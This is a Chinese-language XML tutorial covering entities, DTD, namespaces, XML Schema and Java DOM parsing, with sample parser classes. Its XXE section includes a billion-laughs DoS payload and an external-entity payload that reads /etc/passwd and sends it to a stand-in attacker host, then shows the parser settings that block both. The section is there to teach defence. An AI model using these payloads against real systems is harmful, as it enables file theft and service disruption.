1. XML 简介
1.1. 特性介绍
图1-1:Servlet 2.3 规范下的 web.xml
图1-2:最基础的 HTML 结构
1.2. XML 结构
文档信息项(document information item)是元素、处理指令、注释和字符信息项(character information item)的根。处理指令、注释和字符信息项是叶子节点。元素信息项(element information item)则是内部节点。每个文档信息项包含唯一的元素信息项,在唯一元素信息项的前后还可以包含处理指令信息项和注释信息项。元素信息项可包含元素、注释、处理指令信息项。 《XML本质论》
图1-3:常见 XML 结构(无命名空间、DTD验证)
图1-4:常见 XML 结构(有命名空间、Schema验证)
1.3. 关键语法规则
2. DOCTYPE 声明
DOCTYPE 声明为文档提供一个空间,通过引用外部文件、通过直接声明或通过这两种方式来标识其根元素和文档类型定义 (DTD)。DOCTYPE 声明可以包含下列内容:
示例1:最简单的 DOCTYPE 声明只标识文档的根元素。
<!DOCTYPE rootElement>
示例2:DOCTYPE 声明可引用包含组成 DTD 声明的外部文档。
<!DOCTYPE rootElement SYSTEM "URIreference">
或
<!DOCTYPE rootElement PUBLIC "PublicIdentifier" "URIreference"
示例3:DOCTYPE 声明可在内部子集中直接包含声明。
<!DOCTYPE rootElement [
declarations
]>
示例4:DOCTYPE 声明包含的声明将与外部文件或外部子集组合使用。
<!DOCTYPE rootElement SYSTEM "URIreference"[
declarations
]>
或
<!DOCTYPE rootElement PUBLIC "PublicIdentifier" "URIreference"[
declarations
]>
2. XML 实体
2.1. 是什么是实体(ENTITY)?
实体是对数据的引用。根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。本文介绍以下几种实体:
所有实体(除参数实体外)都以一个与字符(&)开始,以一个分号(;)结束。
2.2. XML 预定义实体?
XML 标准定义了所有 XML 解析器都必须实现的 5 种标准实体。
图2-1:XML 预定义实体
示例:
<?xml version="1.0" encoding="UTF-8"?>
<car>
<maxSpeed>
200
</maxSpeed>
<brand>
红旗&CA72
</brand>
<code>
Map<String, String> map = new HashMap<String, String>();
</code>
</car>
package webj2ee;
import org.springframework.core.io.ClassPathResource;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.xpath.XPath;
import javax.xml.xpath.XPathExpressionException;
import javax.xml.xpath.XPathFactory;
import java.io.IOException;
import java.io.InputStream;
public class Demo1 {
public static void main(String[] args) throws IOException, ParserConfigurationException,
SAXException, XPathExpressionException {
InputStream inputStream = new ClassPathResource("demo1.xml").getInputStream();
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setValidating(false);
factory.setNamespaceAware(false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(inputStream);
XPathFactory xpFactory = XPathFactory.newInstance();
XPath xPath = xpFactory.newXPath();
String brand = xPath.evaluate("/car/brand", doc);
String code = xPath.evaluate("/car/code", doc);
System.out.println(brand);
System.out.println(code);
}
}
2.3. 字符实体
对于字符实体,我们可以用十进制格式(&#nnn;,其中 nnn 是字符的十进制值)或十六进制格式(&#xhhh;,其中 hhh 是字符的十六进制值)来指定任意 Unicode 字符。
<?xml version="1.0" encoding="UTF-8"?>
<article>
<author>
莎士比亚
</author>
<content>
明智的人
决不坐下来
为失败而哀号,
他们一定
乐观地寻找办法
来加以挽救。
</content>
</article>
定义 ENTITY 实体的完整语法
<!ENTITY [%] name [SYSTEM|PUBLIC publicID] resource [NDATA notation] >
name: 实体的名称。所有实体定义的必选项。
publicID: 实体的公共标识符。只有声明使用 PUBLIC 关键字时才是必选项。
Resource:实体的值(资源)。所有实体定义的必选项。如果是内部实体,则是已分析并展开的文本字符串。如果是外部实体,则是标识外部实体(例如文件名或文件类型)的统一资源标识符 (URI)。
notation:【本文不讲】
2.4. 命名实体
命名实体也称为内部实体,在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中引用。在 XML 文档解析过程中,实体引用将由它的表示替代。简单来说,实体就是宏,它们在我们处理文档时得到扩展。
语法:
<!ENTITY 实体名 "实体值">
示例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (name)>
<!ELEMENT name (#PCDATA)>
<!ENTITY hacker "ESHLkangi">
]>
<note>
<name>&hacker;</name>
</note>
2.5. 外部实体
外部实体表示外部文件的内容,用 SYSTEM 关键词表示。
语法:
<!ENTITY 实体名 SYSTEM "URI/URL">
或
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
协议:
示例:
<?xml version="1.0"?>
<!DOCTYPE pwd [
<!ELEMENT pwd (#PCDATA)>
<!ENTITY test SYSTEM "file:///D://password.txt">
]>
<pwd>&test;</pwd>
public class Demo1 {
public static void main(String[] args) throws IOException, ParserConfigurationException,
SAXException, XPathExpressionException {
InputStream inputStream = new ClassPathResource("demo1.xml").getInputStream();
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setValidating(true);
factory.setNamespaceAware(false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(inputStream);
XPathFactory xpFactory = XPathFactory.newInstance();
XPath xPath = xpFactory.newXPath();
String pwd = xPath.evaluate("/pwd", doc);
System.out.println(pwd);
}
}
2.6. 参数实体
参数实体只用于 DTD 和文档的内部子集中。可以是命名实体或外部实体。参数实体引用不能出现在 XML 文档中,只出现在DTD中。当参数实体在DTD中通过名称引用时,可以扩展成一个字符串。
语法:
<!ENTITY % 实体名称 "实体的值">
或
<!ENTITY % 实体名称 SYSTEM "URI">
示例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT root (foo)>
<!ELEMENT foo (#PCDATA)>
<!ENTITY % param1 "Hello">
<!ENTITY % param2 " ">
<!ENTITY % param3 "World">
<!ENTITY % dtd SYSTEM "file:///d://combine.dtd">
%dtd;
]>
<root>
<foo>&content;</foo>
</root>
<!ENTITY content "%param1;%param2;%param3;">
2.7. XXE 漏洞
2.7.1. 什么是 XXE 漏洞:
XXE漏洞全称XML External Entity Injection 即 XML 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
2.7.2. 漏洞示例1:DoS
a billion laughs attack 是一种 denial-of-service(DoS)攻击,它主要作用于XML文档解析器。该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DDoS 攻击。
例如:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ELEMENT lolz (#PCDATA)>
]>
<lolz>&lol9;</lolz>
2.7.3. 漏洞示例2:窃取文件
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;
2.7.4. 漏洞防御:
XXE 漏洞主要问题就是XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition) 中 SYSTEM 标识符定义的数据,并不容易,也不大可能。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。
示例:禁用外部实体、参数实体和内联DTD,避免基于XXE漏洞的攻击。
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
3. DTD
3.1. 引用 DTD
内部DTD:
<!DOCTYPE 根元素[定义内容]>
外部DTD:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
或
<!DOCTYPE 根节点 PUBLIC "DTD的名称" "DTD的地址">
示例:
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems,Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
3.2. DTD 语法规则简述
3.2.1. 声明元素
ELEMENT 语句用于声明 DTD 所定义的文档类型中使用的每个元素。先按名称声明元素,然后指定该元素允许包含的内容。
语法:
<!ELEMENT name content >
参数:
name: 元素的名称。要求大小写匹配。
content: 元素允许包含的内容模型,必须是下列选项中的一个:
* ANY - 元素中允许包含任何内容。如果在元素声明中使用此关键字,元素及其所有子节点允许一个开放的、没有限制的内容模型。
* EMPTY - 不允许元素包含内容,必须保留为空。
* Declared content rule – 对于此选项,您需要编写内容规则并将其包括在一对括号中。
图3-1显示保留的关键字或标点符号,可以与 DTD 中声明的其他元素的名称一起使用,构造元素内容规则。
图3-1:XML 预定义实体
示例1:声明一个可以包含任何内容的 <test> 元素:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ELEMENT test ANY>
]>
<test>
Hello World!
</test>
示例2:声明一个必须为空(即不能有内容)的 <Image> 元素:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Image[
<!ELEMENT Image EMPTY>
]>
<Image/>
示例3:声明一个只能包含字符数据(没有其他标记)的 <title> 元素:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title[
<!ELEMENT title (#PCDATA)>
]>
<title>HelloWorld</title>
示例4:声明一个包含 <apple> 元素或 <orange> 元素的 <fruit> 元素:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fruit[
<!ELEMENT fruit (apple|orange)>
<!ELEMENT apple (#PCDATA)>
<!ELEMENT orange (#PCDATA)>
]>
<fruit>
<apple>红富士</apple>
</fruit>
示例5:声明一个必须包含 <author> 元素并且后接一个 <title> 元素的 <book> 元素:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book[
<!ELEMENT book (author,title)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT title (#PCDATA)>
]>
<book>
<author>张三</author>
<title>CSS权威指南</title>
</book>
示例6:声明一个必须包含 <body> 元素并且可选择后接一个 <postscript> 元素的 <memo> 元素:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE memo[
<!ELEMENT memo (body,postscript?)>
<!ELEMENT body (#PCDATA)>
<!ELEMENT postscript (#PCDATA)>
]>
<memo>
<body>数据体</body>
</memo>
示例7:声明一个必须包含一个或更多的 <book> 元素的 <catalog> 元素:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE catalog[
<!ELEMENT catalog (book+)>
<!ELEMENT book (#PCDATA)>
]>
<catalog>
<book>CSS权威指南</book>
<book>HTML权威指南</book>
<book>JavaScript权威指南</book>
</catalog>
示例8:声明一个可以为空或包含 <rowset> 元素的 <table> 元素:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE table[
<!ELEMENT table (rowset*)>
<!ELEMENT rowset (#PCDATA)>
]>
<table>
</table>
3.2.2. 属性定义语法
ATTLIST 声明用于列出并声明可以属于某个元素的每个属性。先指定将应用属性列表的元素的名称。然后按名称列出每个属性,指示属性是不是必选属性,并指定允许作为值的字符数据。
语法:
<!ATTLIST elementName attributeName dataType default >
参数:
elementName:要应用属性列表的元素的名称。
attributeName:属性名。此参数可以根据需要重复多次,列出所有可与 elementName 一起使用的属性。
dataType:在 attributeName 参数中命名的属性的数据类型,合理取值如图3-2所示。
default:attributeName 中命名的属性的默认值,合理取值如图3-3所示。
图3-2:ATTLIST 的 dataType 属性取值
图3-3:ATTLIST 的 default 属性取值
示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE catalog[
<!ELEMENT catalog (book+)>
<!ELEMENT book (#PCDATA)>
<!ATTLIST book
publisher CDATA #IMPLIED
reseller CDATA #FIXED "MyStore"
ISBN ID #REQUIRED
inPrint (yes|no) "yes"
>
]>
<catalog>
<book publisher="A出版社" reseller="MyStore"
ISBN="A001" inPrint="yes">CSS权威指南</book>
<book publisher="B出版社" reseller="MyStore"
ISBN="B002" inPrint="no">HTML权威指南</book>
<book publisher="C出版社" reseller="MyStore"
ISBN="C003" inPrint="yes">JavaScript权威指南</book>
</catalog>
分析:
3.3. web-app_2_3.dtd 节选
<!ELEMENT web-app (display-name?, description?,
context-param*, filter*, filter-mapping*, listener*, servlet*,
servlet-mapping*)>
<!ELEMENT context-param (param-name, param-value, description?)>
<!ELEMENT param-name (#PCDATA)>
<!ELEMENT param-value (#PCDATA)>
<!ELEMENT description (#PCDATA)>
<!ELEMENT display-name (#PCDATA)>
<!ELEMENT filter (icon?, filter-name, display-name?, description?,
filter-class, init-param*)>
<!ELEMENT filter-class (#PCDATA)>
<!ELEMENT filter-mapping (filter-name, (url-pattern | servlet-name))>
<!ELEMENT filter-name (#PCDATA)>
<!ELEMENT listener (listener-class)>
<!ELEMENT listener-class (#PCDATA)>
<!ELEMENT servlet (icon?, servlet-name, display-name?, description?,
(servlet-class|jsp-file), init-param*, load-on-startup?, run-as?, security-role-ref*)>
<!ELEMENT servlet-class (#PCDATA)>
<!ELEMENT servlet-mapping (servlet-name, url-pattern)>
<!ELEMENT servlet-name (#PCDATA)>
<!ATTLIST web-app id ID #IMPLIED>
<!ATTLIST context-param id ID #IMPLIED>
<!ATTLIST description id ID #IMPLIED>
<!ATTLIST display-name id ID #IMPLIED>
<!ATTLIST filter id ID #IMPLIED>
<!ATTLIST filter-class id ID #IMPLIED>
<!ATTLIST filter-mapping id ID #IMPLIED>
<!ATTLIST filter-name id ID #IMPLIED>
<!ATTLIST init-param id ID #IMPLIED>
<!ATTLIST listener id ID #IMPLIED>
<!ATTLIST listener-class id ID #IMPLIED>
<!ATTLIST param-name id ID #IMPLIED>
<!ATTLIST param-value id ID #IMPLIED>
<!ATTLIST servlet id ID #IMPLIED>
<!ATTLIST servlet-class id ID #IMPLIED>
<!ATTLIST servlet-mapping id ID #IMPLIED>
<!ATTLIST servlet-name id ID #IMPLIED>
肿么样?是不是也没那么复杂?
4. XML 命名空间
根据 Namespaces in XML W3C 推荐标准的定义,XML 命名空间是由国际化资源标识符 (IRI) 标识的 XML 元素和属性集合,该集合通常称作 XML“词汇”。定义 XML 命名空间的主要动机之一是在使用和重用多个词汇时避免名称冲突。
4.1. 声明和应用命名空间
语法:xmlns 保留字用于绑定命名空间
xmlns="namespaceURI" // 绑定到默认命名空间
xmlns:namespace-prefix="namespaceURI" // 绑定命名空间到指定前缀
示例1:
<?xml version="1.0"?>
<Book xmlns:lib="http://www.library.com">
<lib:Title>Sherlock Holmes</lib:Title>
<lib:Author>Arthur Conan Doyle</lib:Author>
</Book>
解释:
元素 Title 和 Author 与命名空间 http://www.library.com 关联
示例2:
<?xml version="1.0"?>
<Book xmlns:lib="http://www.library.com">
<lib:Title>Sherlock Holmes - I</lib:Title>
<lib:Author>Arthur Conan Doyle</lib:Author>
<purchase xmlns:lib="http://www.otherlibrary.com">
<lib:Title>Sherlock Holmes - II</lib:Title>
<lib:Author>Arthur Conan Doyle</lib:Author>
</purchase>
<lib:Title>Sherlock Holmes - III</lib:Title>
<lib:Author>Arthur Conan Doyle</lib:Author>
</Book>
解释:
Sherlock Holmes - III 和 Sherlock Holmes - I 的元素 Title 和 Author 与命名空间 http://www.library.com 关联。
Sherlock Holmes - II 的元素 Title 和 Author 与命名空间 http://www.otherlibrary.com 关联。
示例3:
<?xml version="1.0"?>
<Book xmlns="http://www.library.com">
<Title>Sherlock Holmes</Title>
<Author>Arthur Conan Doyle</Author>
</Book>
解释:
元素 Book、Title 和 Author 与命名空间 http://www.library.com 关联。
示例4:
<?xml version="1.0"?>
<Book xmlns="http://www.library.com">
<Title>Sherlock Holmes - I</Title>
<Author>Arthur Conan Doyle</Author>
<purchase xmlns="http://www.otherlibrary.com">
<Title>Sherlock Holmes - II</Title>
<Author>Arthur Conan Doyle</Author>
</purchase>
<Title>Sherlock Holmes - III</Title>
<Author>Arthur Conan Doyle</Author>
</Book>
解释:
Sherlock Holmes - III 和 Sherlock Holmes - I 的元素 Book、 Title 和 Author 与命名空间 http://www.library.com 关联。
Sherlock Holmes - II 的元素 purchase、 Title 和 Author 与命名空间 http://www.otherlibrary.com 关联。
示例5:
<?xml version="1.0"?>
<Book isbn="1234" pfx:cover="hard" xmlns="http://www.library.com" xmlns:pfx="http://www.library.com">
<Title>Sherlock Holmes</Title>
<Author>Arthur Conan Doyle</Author>
</Book>
解释:
属性 isbn 没有命名空间关联。
属性 cover 与命名空间 http://www.library.com 关联。
下面再看两个 SpringSecurity 的配置示例
合理选择默认命名空间
可以简化配置、增强可读性
图4-1:将 security 作为默认命名空间
图4-2:将 beans 作为默认命名空间
4.2. 命名空间是网址吗?
尽管命名空间通常看上去像 URL,但这并不意味着实际声明和使用命名空间时一定要连接到互联网上。只是一个标识符而已。
5. XML Schema
5.1. 什么是 XML Schema?
XML Schema 的作用是定义 XML 文档的合法构建模块,类似 DTD。
5.2. XML Schema 能干什么?
5.3. XML Schema 对比 DTD?
XML Schema 是基于 XML 的 DTD 替代者。理由如下:
5.4. 基础语法
5.4.1. 综合示例入门
<schema> 元素是每一个 XML Schema 的根元素。
1. XSD 定义示例:
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
targetNamespace="http://www.w3school.com.cn"
xmlns="http://www.w3school.com.cn"
elementFormDefault="qualified">
<xs:element name="note">
<xs:complexType>
<xs:sequence>
<xs:element name="to" type="xs:string"/>
<xs:element name="from" type="xs:string"/>
<xs:element name="heading" type="xs:string"/>
<xs:element name="body" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
解释:
1. xmlns:xs="http://www.w3.org/2001/XMLSchema"
显示 schema 中用到的元素和数据类型来自命名空间 "http://www.w3.org/2001/XMLSchema"。
同时它还规定了来自命名空间 "http://www.w3.org/2001/XMLSchema" 的元素和数据类型应该使用前缀 xs。
2. targetNamespace="http://www.w3school.com.cn"
显示被此 schema 定义的元素 (note, to, from, heading, body)
来自命名空间:"http://www.w3school.com.cn"。
3. xmlns="http://www.w3school.com.cn"
指出默认的命名空间是 "http://www.w3school.com.cn"。
4. elementFormDefault="qualified"
指出任何 XML 实例文档所使用的且在此 schema 中声明过的元素必须被命名空间限定。
2. XSD 引用示例:
<?xml version="1.0"?>
<note xmlns="http://www.w3school.com.cn"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.w3school.com.cn note.xsd">
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
解释:
1. xmlns="http://www.w3school.com.cn"
规定了默认命名空间的声明。此声明会告知 schema 验证器,
在此 XML 文档中使用的所有元素都被声明于 "http://www.w3school.com.cn" 这个命名空间。
2. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
绑定 XML Schema 实例命名空间到 xsi 前缀;
3. xsi:schemaLocation="http://www.w3school.com.cn note.xsd"
使用 XML Schema 的 schemaLocation 属性。此属性有两个值:
第一个值是需要使用的命名空间。第二个值是供命名空间使用的 XML schema 的位置。
图5-1:Spring 配置文件头部示例
5.4.2. XSD 注释
作为XML文件,XSD文件自然也可以使用<!-- -->的注释格式,除此之外,XSD文件中还可以使用XML元素的方式来注释,这就是<annotation>元素,<annotation>元素则是通过使用<document>和<appinfo>两个子元素来起作用的,其中<document>主要放适合人类阅读的注释,而<appinfo>则主要放置针对其它应用程序的注释信息。
图5-2:spring-beans.xsd 注释示例
5.4.3. 简易元素
简易元素指那些仅包含文本的元素。它不会包含任何其他的元素或属性。
语法:
<xs:element name="xxx" type="yyy"/>
常用数据类型:
示例:
5.4.4. 声明属性
语法:
<xs:attribute name="xxx" type="yyy"/>
示例:
5.4.5. 限定
限定(restriction)用于为 XML 元素或者属性定义可接受的值。
示例:
篇幅有限,其他 Schema 技术细节,可参考网址
https://www.w3school.com.cn/schema/index.asp
6. 基于 DOM 的 XML 解析
Java 库提供了两种 XML 解析器:
6.1. 解析器接口
DOM 解析器的接口已经被 W3C 标准化了。
图6-1:DOM解析器接口类关系
6.2. 核心解析接口
// 构建 DocumentBuilderFactory
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setValidating(true); // 开启校验
factory.setNamespaceAware(true); // 启用命名空间支持
// 构建 DocumentBuilder
DocumentBuilder docBuilder = factory.newDocumentBuilder();
docBuilder.setEntityResolver(entityResolver); // 设置实体解析器
docBuilder.setErrorHandler(errorHandler); // 设置错误处理器
// 获取 Document
Document doc = builder.parse(inputStream);
// 获取 根节点
Element root = doc.getDocumentElement();
NodeList childNodes = root.getChildNodes();
for (int i = 0, len = childNodes.getLength(); i < len; i++) {
Node item = childNodes.item(i);
if (item instanceof Element) {
// ....
}else if(item instanceof Text){
// ....
}
}
6.3. 使用 XPath 定位信息
XPathFactory xpFactory = XPathFactory.newInstance();
XPath xPath = xpFactory.newXPath();
String paramName = xPath.evaluate("/configition/database/username", doc);
6.4. 综合示例(仿 Spring 解析 xml 的逻辑)
package webj2ee;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.core.io.ClassPathResource;
import org.w3c.dom.*;
import org.xml.sax.SAXException;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;
import java.io.InputStream;
public class Servlet23WebXmlParser {
private Logger logger = LoggerFactory.getLogger(getClass());
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
// read web.xml file
InputStream xmlFileInputStream = new ClassPathResource("servlet23/web.xml").getInputStream();
// get web.xml Document
WebXmlDocumentLoader documentLoader = new WebXmlDocumentLoader();
Document document = documentLoader.doLoadDocument(xmlFileInputStream);
// get web.xml Definition
WebXmlDefinitionReader definitionReader = new WebXmlDefinitionReader();
WebXmlDefinition definition = definitionReader.loadWebXmlDefinition(document);
// out
System.out.println(definition);
}
}
package webj2ee;
import org.w3c.dom.Document;
import org.xml.sax.EntityResolver;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;
import java.io.InputStream;
public class WebXmlDocumentLoader {
public Document doLoadDocument(InputStream inputStream) throws ParserConfigurationException, IOException, SAXException {
DocumentBuilderFactory factory = createDocumentBuilderFactory(true, true);
DocumentBuilder builder = createDocumentBuilder(factory, new WebXmlDtdResolver(), new WebXmlErrorHandler());
return builder.parse(inputStream);
}
private DocumentBuilderFactory createDocumentBuilderFactory(boolean validating, boolean namespaceAware) {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setValidating(validating);
factory.setNamespaceAware(namespaceAware);
return factory;
}
private DocumentBuilder createDocumentBuilder(DocumentBuilderFactory factory,
EntityResolver entityResolver, ErrorHandler errorHandler)
throws ParserConfigurationException {
DocumentBuilder docBuilder = factory.newDocumentBuilder();
if (entityResolver != null) {
docBuilder.setEntityResolver(entityResolver);
}
if (errorHandler != null) {
docBuilder.setErrorHandler(errorHandler);
}
return docBuilder;
}
}
package webj2ee;
import org.w3c.dom.*;
import javax.xml.xpath.XPath;
import javax.xml.xpath.XPathExpressionException;
import javax.xml.xpath.XPathFactory;
public class WebXmlDefinitionReader {
public static final String ID_ATTRIBUTE = "id";
public static final String DISPLAY_NAME_ELEMENT = "display-name";
public static final String CONTEXT_PARAM_ELEMENT = "context-param";
public static final String PARAM_NAME_ELEMENT = "param-name";
public static final String PARAM_VALUE_ELEMENT = "param-value";
public static final String FILTER_ELEMENT = "filter";
public static final String FILTER_NAME_ELEMENT = "filter-name";
public static final String FILTER_CLASS_ELEMENT = "filter-class";
WebXmlDefinition webxml = new WebXmlDefinition();
public WebXmlDefinition loadWebXmlDefinition(Document doc){
Element root = doc.getDocumentElement();
String id = root.getAttribute(ID_ATTRIBUTE);
webxml.setId(id);
parseWebXmlDefinition(root);
return webxml;
}
private void parseWebXmlDefinition(Element root) {
NodeList childNodes = root.getChildNodes();
for (int i = 0, len = childNodes.getLength(); i < len; i++) {
Node item = childNodes.item(i);
if (item instanceof Element) {
Element ele = (Element)item;
if(ele.getTagName().equals(DISPLAY_NAME_ELEMENT)){
parseDisplayNameElement(ele);
}else if(ele.getTagName().equals(CONTEXT_PARAM_ELEMENT)){
parseContextParamElement(ele);
}else if(ele.getTagName().equals(FILTER_ELEMENT)){
// ...
}else{
// ...
}
}
}
}
private void parseDisplayNameElement(Element ele){
String displayName = ele.getTextContent();
webxml.setDisplayName(displayName);
}
private void parseContextParamElement(Element ele){
// XPath 示例
XPathFactory xpFactory = XPathFactory.newInstance();
XPath xPath = xpFactory.newXPath();
String paramName = null;
try {
paramName = xPath.evaluate(PARAM_NAME_ELEMENT, ele);
} catch (XPathExpressionException e) {
throw new RuntimeException("parse param-name error:", e);
}
String paramValue = null;
try {
paramValue = xPath.evaluate(PARAM_VALUE_ELEMENT, ele);
} catch (XPathExpressionException e) {
throw new RuntimeException("parse param-value error:", e);
}
webxml.addContextParams(paramName, paramValue);
}
}
package webj2ee;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.core.io.ClassPathResource;
import org.springframework.core.io.Resource;
import org.xml.sax.EntityResolver;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import java.io.FileNotFoundException;
import java.io.IOException;
public class WebXmlDtdResolver implements EntityResolver {
private Logger logger = LoggerFactory.getLogger(getClass());
private static final String DTD_EXTENSION = ".dtd";
private static final String DTD_NAME = "web-app_2_3";
@Override
public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException {
if (systemId != null && systemId.endsWith(DTD_EXTENSION)) {
int lastPathSeparator = systemId.lastIndexOf('/');
int dtdNameStart = systemId.indexOf(DTD_NAME, lastPathSeparator);
if (dtdNameStart != -1) {
String dtdFile = DTD_NAME + DTD_EXTENSION;
if (logger.isDebugEnabled()) {
logger.debug("Trying to locate [" + dtdFile + "] on classpath");
}
try {
Resource resource = new ClassPathResource("servlet23/" + dtdFile);
InputSource source = new InputSource(resource.getInputStream());
source.setPublicId(publicId);
source.setSystemId(systemId);
if (logger.isDebugEnabled()) {
logger.debug("Found beans DTD [" + systemId + "] in classpath: " + dtdFile);
}
return source;
} catch (FileNotFoundException ex) {
if (logger.isDebugEnabled()) {
logger.debug("Could not resolve beans DTD [" + systemId + "]: not found in classpath", ex);
}
}
}
}
// Fall back to the parser's default behavior.
return null;
}
}
package webj2ee;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXParseException;
public class WebXmlErrorHandler implements ErrorHandler {
private Logger logger = LoggerFactory.getLogger(getClass());
@Override
public void warning(SAXParseException exception){
logger.warn("warn:"+exception.getColumnNumber(), exception);
}
@Override
public void error(SAXParseException exception){
throw new RuntimeException(exception.getMessage(), exception);
}
@Override
public void fatalError(SAXParseException exception){
throw new RuntimeException(exception.getMessage(), exception);
}
}
package webj2ee;
import java.util.*;
public class WebXmlDefinition {
private String id = null;
private String displayName = null;
private final Map<String, String> contextParams = new HashMap();
private final Map<String, String> filters = new LinkedHashMap();
private final Set<String> listeners = new LinkedHashSet();
private final Map<String, String> servlets = new HashMap();
private int sessionConfig = -1;
private final Set<String> welcomeFiles = new LinkedHashSet();
public void addContextParams(String key, String val){
contextParams.put(key, val);
}
public void addListeners(String listenerClass){
listeners.add(listenerClass);
}
public void addFilter(String key, String val){
contextParams.put(key, val);
}
public void addServlet(String key, String val){
servlets.put(key, val);
}
public void addWelcomeFile(String welcomeFile){
welcomeFiles.add(welcomeFile);
}
public void setDisplayName(String displayName) {
this.displayName = displayName;
}
public void setSessionConfig(int sessionConfig) {
this.sessionConfig = sessionConfig;
}
public void setId(String id) {
this.id = id;
}
@Override
public String toString() {
return "WebXmlDefinition{" +
"id='" + id + '\'' +
", displayName='" + displayName + '\'' +
", contextParams=" + contextParams +
", filters=" + filters +
", listeners=" + listeners +
", servlets=" + servlets +
", sessionConfig=" + sessionConfig +
", welcomeFiles=" + welcomeFiles +
'}';
}
}
参考:
